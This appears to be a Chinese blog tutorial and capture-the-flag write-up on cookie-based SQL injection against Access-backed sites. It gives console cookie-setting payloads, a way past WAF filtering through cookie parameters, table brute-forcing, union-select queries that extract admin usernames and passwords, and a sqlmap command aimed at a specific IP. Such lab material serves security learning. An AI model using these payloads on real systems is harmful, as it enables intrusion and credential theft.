cookie注入

cookie注入

Cookie: 允许服务器在用户的浏览器中存储信息,以便在后续请求中使用

cookie注入原理

很多时候开发在开发的时候为了考虑到多种接受参数,在接受参数的时候都是用多种解释传参的方法     

例如:      

 php中的$_REQUEST[ ]可以获取POST|GET|COOKIE传参           

 注:php 5.4以上版本就不会接受Cookie传参了。

如果用$_REQUEST[ ]来接受参数POST和GET传参被Waf拦截了

那么也许Waf没有对Cookie进行检测 尝试用Cookie进行传参可以绕过检测机制

 修改cookie方式 

1.利用burp进行抓包 重放 修改cookie 

 2.f12 控制台console修开cookie

 输入语句

document.cookie="id="+escape("171")

就不用在进行编码 escape()编码函数

3.控制台中application中cookie  修改对应值

 

get传参大于cookie传参

get和cookie同时传参 服务器优先接受get传参

注入过程 

在语句中加入恶意代码

document.cookie="id="+escape("171and1=1 ")

然后在url栏回车确认 点刷新确认没用

在access数据库中没有自带库

系统自带表,而且Access数据库只有一个数据库,不用纠结库名。

那么怎么获取Access数据库的表名和字段名,方法只有爆破

账号密码一般在盛行Access数据库的年代,都在admin表的username和password字段中

and exists (select*from 表名)  如果页面正常,就是存在这个表   

 exists 这个函数就是检查子查询能否查询到数据,如果能会返回一个True

在使用burp用字典爆破表名进而爆破字段 

判断admin表中的具体数据 将select后面的列进行跑包

exists (select password from user) id, username,password

判断字段数order by 10正常11异常,说明存在10个字段

通过显错位出表名和密码

判断他的显错位union select 1,2,3,4,5,6,7,8,9,10 from admin

判断得出显错位为2,3,7,8,9这么些位置
171 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin

得出账号密码,登录后台,对密码解密,然后拿到flag

大多数16 32 位编码是md5编码 

 access数据库没有limit 

判断是access 还是mysql数据库 可用sleep函数等

SQLmap如何跑Cookie注入

sqlmap.py -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值